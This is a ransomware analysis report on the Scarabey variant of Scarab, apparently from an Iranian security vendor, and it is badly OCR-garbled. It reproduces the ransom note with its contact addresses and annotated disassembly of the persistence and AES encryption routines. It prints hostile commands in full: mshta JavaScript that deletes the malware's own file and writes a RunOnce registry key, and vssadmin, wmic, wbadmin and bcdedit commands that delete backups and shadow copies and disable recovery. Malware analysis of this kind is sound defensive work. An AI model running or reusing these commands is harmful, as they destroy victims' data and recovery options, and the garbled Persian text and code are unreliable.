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Fie fde Formm View Help

|
| waw IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS wee
|

Vour files are now encrypted!

""" BECIN PERSOMAL IDENTIFIER-~~-~
{redacted)
----- END PERSOMAL IDENTIFIER -~~~

All your files have been encrypted due te 2 security problem with your PC.

Now gou should send us enail with gour personal identifier.

This emall will be as confirmation you are ready to pay for decryption key.

You have to pay for decryption in Bitceins. The price depends on how fast you wite to ws.
After payment we will send you the decryption tool that will decrypt all your Files.

Contact us wsing this enall address: suupportprotonmail .com

If you don't get & reply or if the enall dies, then contact us wsing Bitmessage.

Download it Form here: https://bitmessage.org/wiki/Main_Page

Run it, click Mew Identity and thea send us 2 message at BM-2cTuSpruGDSaXmXqPrZivXXequF vSaXEba

Free decryption as quarantee!

Before paying you can send us up teo 3 Files for free decryption. 3
The total size of Files nust be less than 18D (non archived), and Files should not contain

valuable information (databases, backups, large excel sheets, etc.).

How to obtain Bitceins?

= Ihe easiest way to buy bitceins is LecalBitcoins site. You have to register, click
‘Buy bitceins', and select the seller by paynent method and price:
https://localbiteoins .con/buy bitcoins

- A can find other places to buy Bitcoins and beginners guide here:
http://wew. coindesk.con/infornation/hew-can-i-buy-bitceins

Attention?

* Do not remame encrypted flles.
* Do not try te decrypt your data using third party software, It may cause permanent data loss.
« Decryption of your Files with the help of third parties may cause increased price

(they add their Fee to our) or you can become a victim of a scam.
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> UEN = BLOC_NZSH10;
v23 = _ readfsdword(B);
writefsduord{®, (unsigned int)&u2a)
[ ¢! | if { sub_W16CAC 8, 63, (int ) )
[+ if ( sub_MISFGC(={inl =)vél, 63, (inL)Eunue) )
i
__writefsdword({8, v23);
goto LABEL_35;

H

duFileAttributes = wS@;

CreationTine = uS1;

LastaccessTime = vs2;

LastUriteTine = wsi;

Sysutils::FindClose(Buh®);

ul = (const WCHAR =)System::_ linkproc__ WSErToPUChar(={_DWORD =)ué@);
SetFileAttributesWiul, Bx2du);
LOBYTE(WS) = 15

uk? system tlassess:
LODUORD(ub) = (=={int {===)}{uoid))u
uhl = wd;

if { WIDWORD{u&) )
{

if ( SHIDNORD(v6) > @ )
gotn LABEL_8;

H
else if ( (_DWORD)wh1 )

i
LABEL 82
[+ if [ uM1 <= BxE0BEE )
ul9 = uyl;
else
4] vi9 - BxBARBNLGY;

System:: linkproc__ L5trSetLength{&uSS5, vi9);
System::_ linkproc__ LStrClr{&wS8);
System::  linkproc  LSTrCLe(&U5T);

Scarabey g Scarab ,l; 8120 93 (sloaS awli o -V JSi
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Software\ILRTISo\idle

ebp
push offset loc_427C2A
push dword ptr fs:[eax] ; PROCEEDS TO SET UP REGISTRY STRING TO CHECK Software\ILRTISo\idle '

mov fsi[eax), esp

lea edx, [ebpt+var 5C] ; Classes::TStream *

mov eax, off_42FABC

mov eax, [eax] 7 this

call Olectrls::TOleControl: :ReadData(Classes::TStream *)
push [ebp+var_5C]

lea edx, [ebp+var_60] ; Classes::TStream *

mov eax, off_ 42FBE4

mov eax, [eax] ; this

call Olectrls::T0leControl: :ReadData(Classos:: TStroam *)

push [ebp+var_60]
push offset _str___ 15.Text

lea edx, [ebp+var_64] ; Classes::TStream *
mov eax, off 42Fr980
mov eax, [eax] 7 this
call Olectrls::TOleControl::ReadData(Classes::TStream *)
push [ebp+var_64)
lea eax, [ebp+var 58]
edx, 4
call E ___ LBtrCat¥(void) ; builds string Software\ILRTISo\idle

mov edx, [ebptvar_58]
mov ecx, offset dword_436230

mov eax, 80000001h ; hKey

call RegQueryValueCaller ; Checks if value exists for reg str Software\ILRTISo\idle
mov eax, ds:dword 436230

edx et _str_1_3.Text

linkproc__ LStrCmp(void)

+text:00427BE1 jnz short jmp_regNotSet

)L ool sh= Sl adh Dol Gy — F JSib
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cmd.exe /c copy /y
C:\Users\[username]\Desktop\9a02862ac95345359dfc3dcc93e3c10e.exe“C:\Users\[username]\
AppData\Roaming\sevnz.exe”

Registry
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A5 e bzl "runas” yioh)h b ) 393 dwgyy 3=y dl>yo 5o

mov au:, dlrwntlinlrnth sevnz_romaing ; Cx\U-ern\vimlmwmt-\lmmlng\mu exe.
call find¥ y! ; return 1 if foun
test ul al
i= short jmp FileNotExists
eax, ds:COntainsPath_sevnz_romaing
call 5\".|ﬂ|\ﬂ MaybeMore? ; return 1 if found
test
j= lou GZIICS
ux, ds: oontnu-?nth _sevnsz rmling
call System::__linkp WStrToPWChar (System: :WideString)
push eax ] lprilclm

call DeleteFilew
test eax, eax

jx loc 424E43
ijmp_FileNotExists: ; CODE XREF: SEVNZ_LotsOFShellexecs_comdLi _more_| dd 3

lea edx, [ebp+var_ 4]
xor eax, eax
call al ine?

.text:00424D7C mov oax,| [ebp+var_é A
mov .dl, dncout.-inll’nth sevnz_romaing
call CallsCreatePr more ; creates cmd.exe process with copy command to sevnz.exe in roaming
test al, al
j= loc_424EA8
mov Gll, off_42F9FC
cmp byte ptr [eax+25h), ©
iz short 24DA2

i
call Callss!

xecSelfWithParams
‘runas” )il L a5 (glyol - 0 S

2950 Lol cmd.exe jl eslaiwl b yoj yloyd Guaw

“mshta.exe“javascript:o=new
ActiveXObject(‘Scripting.FileSystemObject’);setInterval(function(){try{o.DeleteFile(‘9a
02862ac95345359dfc3dcc93e3c10f.exe’ );close()}catch(e){}},10);*”

Gldae cauwhal Jlo )5 dwgy &5 Silboj U a5 cuwl 5230 . 0S50 B> 1) 395 Guaw g didly aalls dwgy U Jilo o yhiio)ljdlzl
g gz Lol Jls Bis

jmp nozoneldentifer meaningSelfCopied: ; CODE XREF: SEVNZ_ LotsOFShellexecs_comdLine

’
push | ; nShowCmd
push 0 ; lpDirectory
push 0 ; lpParameters
mov eax, ds:COntainsPath_sevnz_romaing
call System::__ linkproc WStrToPWChar(System: :WideString)
push eax ; lpFile
push 0 ] lpOporltxon
push 0 F
call sholllxocutow ’ -holloxoc sevnz.exe copied file
.text:00424E3C call CallsCrteProc_more?? |; DELET SELF using mtsha.exe AND EXIT

SEVNZ.exe Jold Wi > ylo, s -7 JSi

1S WA 1)y o jl 1) 395 a5 S50 GIWS )39 ol Jlo ) Gy (5lp SEVNZ.exe awg)y i o)lisl a5 jghileo

C:\Users\[username]\AppData\Roaming\sevnz.exe

35 gyl gl misha.exe | (uyp il pldl o oy sl dwgyy 939 ol Jlo 5 (slise 4 wbis (ISl (3 polyd pac
1S (50 ol dilspame )3 whauss Jlacl jghio 43 1) ;5 oloyd (5395 (gjlaslely jghie 4y g 63,5 ssléiwl JavaScript

mshta.exe “javascript:o=new ActiveXObject(‘WScript.Shell’);

x=newActiveXObject(‘Scripting.FileSystemObject’);

setInterval(function(){try{i=x.GetFile( ‘sevnz.exe’).Path;

o.RegWrite( ‘HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\ILRTISo’,i);}
catch(e){}},10);

S (RLL 4 Byl G aS 0 Shadow Volume slohls Bis 4y Egyi o)liblab ple 3)Slac wlive (i sy )3
ks Windows cubl ol Gayb 51 s (55554,
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——Executes these scripts with mtsha.exe—-—:
ActiveXObject(“WScript.Shell”);

o.Run(“cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0”,0);
o.Run(“cmd.exe /c wmic SHADOWCOPY DELETE”,0);

o.Run(“cmd.exe /c vssadmin Delete Shadows /All /Quiet”,0);
o.Run(“cmd.exe /c bcdedit”

new ActiveXObject(“WScript.Shell”);

o.Run(“cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP-keepVersions:0”,0);
.Run(“cmd.exe /cwmicSHADOWCOPYDELETE”®);
.Run(“cmd.exevssadminDeleteShadows /All/Quiet”,0);

.Run(“cmd.exe /c bcdedit /set {default} recoveryenabled No”,9);
.Run(“cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures”,9);

dil> S Scarabey ybls (1aa0 43 .39 A0lg3S o (6)5550) @ OB HBlal (sl o3ldiml Jl> )3 dwgyy S buwgd LB &5 LolKio
&S (Rodwgyy NS0 Iyl A slogl GUS b ald (5,550 3ig) 5> sl (Sao a5 1) dwgyy ;55 35 wWbgio 3Slac b Colgis
51 AB)lue Wigdipo Uibgio J8lzl huwgs

= agntsvc.exe = sqlserver.exe = xfssvccon.exe = mysqld-nt.exe

= isqlplussvc.exe = sqlwriter.exe = mydesktopservice.exe = mysqld-opt.exe

= ncsve.exe = oracle.exe = ocautoupds.exe = ocssd.exe

= msftesql.exe = synctime.exe = tbirdconfig.exe = dbsnmp.exe

= sqlagent.exe = mydesktopqos.exe = ocomm.exe = firefoxconfig.exe
= sqlbrowser.exe = sqbcoreservice.exe = mysqld.exe = dbeng50.exe

= sglservr.exe

S (e Wis oK (59) jl 1y 392 ,1812L il 5 didsy b ply o Hladoe (51 a5 ead Layy=d Mutex O (5)5550) 2B lol dils >

MUTEX: STOPSCARABSTOPSCARABSTOPSCARABSTOPSCARABSTOPSCARAB

LS il (59) 2 )L 09! e 1) )55y dil> &5 35 I i cawl (SleBhd QB 35 I Galise ik 3 (5) B350 il
ol saoline JBB p; S )3 WS 0 |yl

~text:00427DA5 loc 427DAS: ; CODE XREF: MAIN MALICIOUS_BTART+5141j
; MAIN_MALICIOUS_START+5591F
mov eax, off 42FIFC
omp byts ptr [eax+2], 0
i= short loc_427DE7
xor eax, eax

push abp

push offset loc_427DDD
push dword ptr fa:[eax]
mow fs:[eax], esp

call Callsscl \iAB_ThresdCaller execCaller Parent MORE_ j main start to the emcryption loop. Cy
mow eax, off 42FIFC

cmp byte ptr [sax+27h], 0

j= short lec_4270D3

eall callsCyelaPores_Look I

) 5550y @B ol dils — V JSis

Agany )15 dil L exe gy j> 4 (GVgu S (o (_g)l.').f)’.o) 5l k) 834D La>d.w9J olad 3)lg b..\mf)b Oyg0 A )l}éleb
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loc_425FF0: ; CODE XREF: LikelyNonimp+E9'j

lea edx, [ebpivar_30]
mov eax, [ebp+var_ 4]
call sub_421798
mov eax, [ebpt+var_30] ; System::WideString
lea edx, [ebp+var_2C)
call Sysutils::WideLowerCase (System: iWideString)
mov edx, [ebp+var_2C]
lea eax, [ebp+ _2 1
call System::_ linkproc__ LStrFromWStr(System::AnsiString &, System::WideString)
mov edx, [ebpivar_28)
lea eax, [ebpivar_C]
mov ecx, offset _str__ 9.Text
call System::__ lin kpru( LStrCat3 (void)
mov eax, [ebptvar C)
mov edx, offset _str___ 9.Text
call System::_ linkproc_ LStrCmp(void)
jz short loc_42606B
lea eax, [ebp+var_C]
call j_unknown_libname_56
mov byte ptr [eax], 2Ch
mov eax, [ebpivar_C]
mov ___9.Text
call : linkproc__ LStrCmp(void)
iz short loc_42606F
mov edx, (ouh-lnh]
.text:0042604D mov eax, [ebp+var _C] ; checks if file ion is substr of exe, dll
call System: :Pos(System::AnsiString, System::AnsiString)

dll g exe glo oL A0y Gy — A S5

Ob)S GJ))J (A)|S93 )90 4)) )95 .\S).\ I) AES |n.U)9§JI 0092 )29 OA)S..) a3 laviwl LS)K'.’}D) API &lly )I |£u.0.uM O)yg0od) Scarabey

Sl
-text:0041FDET xor ecx, ecx
+text:0041FDEY call System::__linkproc__ FillChar{void *,int,char)
+text:0041FDEE lea eax, [.bp‘hraz 38] ; takes these mem addresses, and XORS them with the data read in fr
.text:0041FDI1 mew eax, [eax
.text:0041FDY3 lea edx, lehpw“ 18] ; this is the buff with the orig data from file to be crytpted
-text:0041FD96 xor [edx], eax
+text:0041FD98 lea wax, l.hp*var 34]
+text:0041FDIB mov eax,
.text:0041FDID lea adx, [ahpd-\rnr 14]
.text:0041FDAD xor [edx], aa
+text:0041FDA2 lea wax, l.bp*vlr 3o0]
~text:0041PDAS mov eax, [eax]
.text:0041FDAT lea edx, [ohp-l-vnr 10]
.text:0041FDAA xor [edx], ea
+text:0041FDAC lea eax, l.bp*\rlr 2c]
+text:0041FDAF mov eax, [eax
text:0041FDBL lea edx, [ohp-l-vnr c]
.text:0041FDB4 xor [edx], sax
.text:0041FDBS Llea ecx, [ebptvar_28] ; will contain tM final data
+text:0041FDBY mov wedx, [ebptvar_B] ; passed in param from ecx??
+text:0041FDBC lea eax, [ebp+var 18] ; the xored original data
~text:0041FDEF eall Hani )_DATA_ _IMP

&S5y el @l (le-2l6 -9 gsiv

6)L S50y i ) S

akdl> > Iy (0XDEFACEQT) wab F (Jald (y2lgs 1 Ju8 jli8lal ¢l (35S 50 esliiuml o Jold (55550, Iy AES @is)e3Jl jI Scarabey
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-text:0041FC54

.text:0041FC54 BTART_OF_AES_ENCRYPTION proc near ; CODE XREF: EncryptdsFileData+lCl,p
+text:0041FC54

+text:0041PC54 var_100 = byte ptr -100h

-text:0041PC54 arg O = dword ptr 8

.text:0041FC54 arg_d = dword ptr OCh

~text:0041FC54

.text:0041FC54 push abp

.text:0041PC55 mov abp, esp

-taxt:0041FC57 add OFFFFFFO0R
.text:0041FC5D push

text:0041FCSE push

+text:0041FC5F mov -dx

+text:0041FCEL mav

+textr0041FCE3 lea [Mﬂ: 100]
-text:0041FCE9 mov eax, ecx

~text:0041FCER call Initiali i i
.text:0041FCTO mov aax, [ebptarg 4]
Ltext:0041FCT3 push aax

text:0041FCT4 mov eax, [sbp+arg 0]
Ltext:0041FCTT push aax

-text:0041FCT8 lea ecx, [ebptvar_100]
+text:0041FCTE mov edx, esi

-text:0041FCBO mov eax, ebx

+text:0041FCE2 call Main AES Joop Function ; loops through file data, performing AES encryption rounds
.text:0041FCEBT pop asi

.text:0041FCEBE pop abx

.text:0041FCES MmOV asp, sbp

.text:0041FCER pep abp

-text:0041FCBC 8
~text:0041FCEC START OF AES IERIH‘IW andp

AES la b 35 ol dolsl )3 g d gl jl>y &5 — e i

Embedded*
Initialized Vector®
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. text:0041FCFI loop_encryption IV thenCall AESy

«text:0041FCF3
-taxt:0041FCF6
-taxt:0041FCFB
-text:0041FCFE
~text:0041FDOO
<text:0041FDO3
«text: 0041FDOS
-text:0041FDOR
-taxt:0041FDOB
-text:0041FDOD
-text:0041FD10
-text:0041FD12
-text:0041FD15
~text:0041FD1T
taxti0041FD1A
-taxti:0041FDIC
-text:0041FDIF
~text:0041FD31
~text:0041FD24
<text:0041FD26
-text:0041FD29
-text:0041FDIR
-text:0041FDIE
-text:0041FD30
~taxt:0041FD33
-text:0041FDI6
-text:0041FDIF

lea
mov
mov
mov
call
mov
cmp
lea
mov
lea
x0r
lea
moy
lea
®OE
laa
mov
lea
x0T
lea
mav
lea
xOr
lea
mov
lea
call

edx, [ebp+var_18]

&cx, 10h

eax, [abp+var_ 4]

ebx, [eax]

dword ptr [ebx+0Ch] ; 412494
ebx; eax

ebx, 10k

j} CODE XREF: Main_AES_Loop_Function+D5.j

read data from file

eax, [ebp+var letRound InitVector remainingRounds PrevicusCipher] ; these are a key i

eax, [eax]
edx, [ebp+var_18]
[edx], eax
eax, [ebptvar_34]
wax, [eax]

eax, [abpt+var_30]
eax, [eax]

edx, [ebptvar_10]
[edx], eax

wax, [sbptvar_2C|
esax, [eax]

edx, [ebp+var_C]
[edx], eax

ecx, [ebptvar_28]
adx, [abptvar_B8]

eax, [ebp+var_ 18] ; files orirignal data xzored by the previocus ops
ARS_NLGO

Mian_AES_Loop_Function g,L5 4 63 XOR (gloesls gLyl — 1\ Jsis

Scarabey )5 a0 55 4 pj LV @ by 35S0 [yl esls (g9 ;3 AES_ALGO b b =5 jl eslasiusl b |y AES @isye3Jl olj8lal

sl 00 o3kl AES 256 aiy,oSl I

Auygp 17 sl 03 (820 3)lailiwl S lgie @ AES alize (sloainyoSIl > a5 o osliiuwl "(glawyg-1F (gl ashs jI =
29850 (5) 8550y Al )0 )5 6 )
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Initialization Vector (1V)
[ENNNNENRENENE] 45
A

Key —

Plaintext

Plaintext

Plaintext

I B N N E R I NN NN N N NN NN

;

¢

bleck cipher block cipher block cipher
encryption key encryption key encryption
OTTTTITITTT OTTTTTTITTT1 OTTTTITITTT

Ciphertext

Ciphertext

) 8550) Soby oumij gy — ¥ S

Ciphertext
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3 Registry Editor

File Edit Wiew Favorites Help

Mame

- || 2]temp

Type
REG_SZ
REG_SZ

Data

(value not st}

VKIAAAAALADpEQ21AZCEfgiLoD3y5pluchTENSE ZnBbTLVRAMILZsY k2 H XD eds3tief TmZJAchviP posvLzPOyaChS+ K...

Computer\HKEY_CURRENT_USER\Software\ILRTISe

Ol a > o) temp s — W S
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AS (50 (Plghyd alS sl glp )

1 00422AFA mov eax, B00DOO001lh ; hKey

+ 004 22AFF call RegQueryvaluaCaller ; guery the encryption key in registry HREY_CURRENT_USER\Software\ILRTIS:
100422804 cmp [ebp+var_c], 0

:00422808 ij= {mp_START KEY GEM

:00422B0E push 2

100422810 lea eax, [ebpévar 40] ; CONTAINS REG VALUE

:00422813 push anx

100422814 lea edx, [ebptvar_dd]

100422817 mov eax, [ebpvar C]

100422818 call ExtCtrls:: 16515

:00422B1F mov sax, [ebptvar_d4]

100422822 mov ecx, off_ &2FAED

: 00422828 mov ecx, [ecx]

100422820 mov edx, off 42FAFB

+00422830 mov edx, [edx]

: 00422832 eall Hanips_reverseBncoding_DeriveKEY_CallsIVFunction

23z 3l 3l g 3S (nLiSiey R —\F JSib

00 5> a5 Cuwl iglawliss Glive T LB g 3950 esliiwl o (6)B550) (glp (636 jo)) hol 3ulS I a5 ¢l azgs PlB iSs
bwgs 034 joy 35 5l (gldigad ) did) acgamo .l y3)l5 dwlids jl i Slol 3ulS Jgb bl t3g4 50 831> il ‘S)JSCL) ac\bl
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[HKEY_CURRENT_USER\Software\ILRTISo]
"temp"="VKIAAAAAAADPt9Q21AzhCExfqjLoD3vSpluc678N56Zn8b7LVRxMilZsYk2HXD1eds3tiefTmZIAcOvVXPpo

svLzPOyaCh5+KRQm6OUOEkzeB2NXetarabUFYgIxb8QRsygKaOgqBriC4Bs4ajM24h=e2CsVNPOR3q==UXNmfRFGIsv7
NROBIXE35bdoFpTU8rMGQ14MeQcAiiliY7GpNoY3b4DOgfuKGo3gNCIMYKYdfpnodbiow3f7ZQGClpwTZOshFhkWk7a
TA7TM1prtgJte7TWe=ERHE8GaFrZtVs9y1lNTYPt5CmzHBdAIaXeKZvZnSSafbi8309gLgAS10xAb7LBtIpZAIDyBkuy
JFRAdFbXztponIBKT10jtTvTMy07+0B4jI3=K1QGUKSROFAdCFO6TSsjKW1vUwOiUHRGasz946H3Mnxu3GdCHrAp9Cd9
4bMo1x1PVdIi3bXSwobjg01JgIPIC4Y6J4QIE=e45PDNzdK6aCYOuiQ@jOD=81DWTp=+r+dbGIrl12qn8CRnBwaFIpy
NjDhzdMdTwyvEXCmuOesOLms8S7TRoV1GcTyWIAQpSIYcR66H6CNgM5GHopdpoTHAMWYOOYp5SHFHTDAVMatomF2S6xE
mUgXIcKpB7oNohO+Wx0cUmf95=+9uo0zHMBWE4kFhj+00KwOI7w7HnwYfafhxswlCmoOvorZztXk8whlh1d4U26z=al6
JwH8WVBSszsRLQ+H4y3bRaeupq5Vo+smDfigjVVzCam4HoAdOKzNOMWiigl90i+4vTkSFFazc6HzyVaHg81uKGBIMhi

2FNHTFO56RA"

1wl poj 2y 5 3950 8315 inled Hl8lab ply 5> a5 (glawlidh digas

+4TIAAAAAAADIGNMIHZL=FYRQCAN=AgKnzw+OQuzFbXSR5AdF1fTrhWN9sifnho8LiX5=V8SbNVWyWWrdbTLipFEeeEv=

9zLmnid8eUqlgKr2RUN=V7LdjoyNwjWMNby1RiGNAKWK6g9exeHhVFUrZ+9o0RTq6Kp5eNe7kDdV7UMPVZ12=5pm9a+5
10Mw==TNi2R2tUjFcKtTD3c9IZgIwOMgcOw3fRrmgaloh5cIV3V74DRy2segx13RDL4I6B+gInfT2mxIZuBE1G5HCmuU
LHCoqQif2BamhfbMASCUEpOp7+Z2GOjI=1PTmOhD3Yq4XjIWI4mc61AruRlaYqwPTUUbrsI0zTYX1mmM3Tvyso8bgDy4
hS5meyPYuX1gtRjoemtdrGZszb60bsIT4Fz00Ag=4HgI4VSHA=HAU5yCjZzIIkLh1WGvdAk
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= https://newsroom.shabakeh.net/19430/scarabey.html

= https://newsroom.shabakeh.net/19257/scarab-ransomware.html

=  https://blog.malwarebytes.com/threat-analysis/2018/01/scarab-ransomware-new-variant-changes-tactics/
= https://blogs.forcepoint.com/security-labs/massive-email-campaign-spreads-scarab-ransomware

*  https://www.cyren.com/blog/articles/new-scarab-ransomware-using-necurs-as-a-service

'ol)il.'i Jus
yianS 4 2> @ul
@SGnewsroom

1¢ | Scarabey )lidlaLy Jul=S g )



o AwlgBn yiwS dSud jus (Ul S

@31 o 9 (02
M0 JodnS g (wy—

STONEORILL

Fileless

SuSaSun SuScaSuu

Conbyky o duin Goasshg Laddyis Goasghg tasdiiar

MBI Judexd 9 awpp PES A RS N IV PP

KILLOISK INOUSTROYER

sy — (59—

)58l Liblamdgs>

JiaS 5

Lo niylig | Lo dpist Loniats | Lo deas Loakybg | LadsSyist

Mo o lo Ty

MAGIC HOUND

oo g

Dot Ransomware RaaS

hilad g ey

DILRIG GROUP

=

\

[t JiuS Sl JuS Sl

(o miabs | Lo Spiot (o it | s Sgant Uoninba | Lo et

10 | Scarabey )ljdlaLs Jul=S g wyyo



295 Gupanls Vo Jlw 53 ianS oS b (s digo Syl D = =

S@l8leys digej 53 45 Cunl Shl )b o9l 5 J.I.I.I.ID b T
JLET ) (5Syeie 9 paas culleb (yug)agsis

CmalSS) Syl 9 p S ASadh uodige Sy gt Sy (5)LSad daiyl 5> Caasl 03,5
L o®BsS ©ae 53 .003,5 ST (Toolkit ygedne wgygau6 631SaJg3) S & S International
) bl ;3 S & S International (gybastl g (saw) saislai lgic a3 yiwS aSud Culled
A a8 ohal )3 Gegyeu8 )2y3csgame 4y Dr Solomon's Toolkit (jegg368 @uya
CSyd PVY Jlw j> McAfee wS)d bwgi S & S International eSyd a3y 51 Gug
0993935 (S1yli8le)5 (53 32 1) 95 Caled llallpy B 3ialed JSad iilo 55 S aSads
» (Authorized Reseller) jLoxo a3idsgyé ylgic 41 yiwS aSud 35 (95551 51> a_alsl McAfee
Aslaise pla8] Gyl 3 Gleds g SVgama Gyl 4 ilioygls aikio
Ay Al S @ §390 yiawS S b g Sy WAF Jlw ;o
Ol el daoliSh Copioe GVguase odSjlw  Astaro il ecs, i
OVgans (lgz Cuidgs g yuSade Ay JLW6S 43 .433)5 (Unified Threat Management)
T &Sy ¢l 35 4 1381 (ualS5l SOphos Sy W30 Jl ;> Astaro ey (sisel
Sophos <5yl b (5)5ad b S aSudh udige Sy (JUSl 9 J&5 ol JW> 4 .59a5
Sophos b i |y @ik Astaro wYgase 39iS] g 6315 aalsl digaj ¢yl 43 1y 395 Caled
Alai 50 ddye lpl )3
olsic 4 1) Bitdefender (yugy1936 Vgane ddyc HiuwS aSuh wiigo <Syd W) Jlo jI
V992936 Vgame ddye .35 ET gt )5 aw, (Distributor) saiiSgajes 5 saislas
OhylS Woldio glojls g baglyd 4y Sl (McAfee (il wVgame LS s Bitdefender
93480 43 ygyie (Jyane 9 Sl Capie oIHle (gng L6 Cawl 839 aSuds e 9
Bitdefender (09,1906 Vguamo didye b a5 39y aSub lde g hy)lS I (> ollbm]
15 Gl JHL 1 g ol (o5l @ yiwS aSud
illely 5 Guas (sBojoys )3 jl LB (r2e 4 I Bl yiuS aSuds rige )b
039 )9S )3 aSudh Cugiol EVgiame iy 9 (5)145 EBIYE B0 Vgb o
]
2945 )3 1) ) )lie e &S plojlw 9 <SHb Yhlie 4 GBIGLIS p sglle Sy ¢l
Ao jub yoiS puls )3 bty 9 Ohoyd (SInled dud (ghls igdize Jolid

CSQ

ISO 9001:2008
Cert No 9150.C528



NN

%
WA

’/' . ’\ < )

BN\
W

; ®
s 1 U8 ()8 cpaysaioliol 1 oS Sy cpal 15 Qyunpenls 1Yo JL
Caiel Bloss g OVgame adpe 53 @ge =i J PO I Gl bl oledbl (59l
320 5 1> |y )9S ilitno Gl 5> Glejleo 9 S LliD 4 (@OlakS LBl i uis Sy
-waﬁwﬁf?ﬁ T 0)lg3 (gloylidleninm g )l8l035 (gloyldleys (5)1055 9 cmass (sloejor )i

T
/

i

PYP o)laid  (Hab) (63,5 dugid obls  ohes e = )

o¥) = FYol¥ 15593 / (als
www.shabakeh.net info@shabakeh.net FiusS oS wdiago S pib




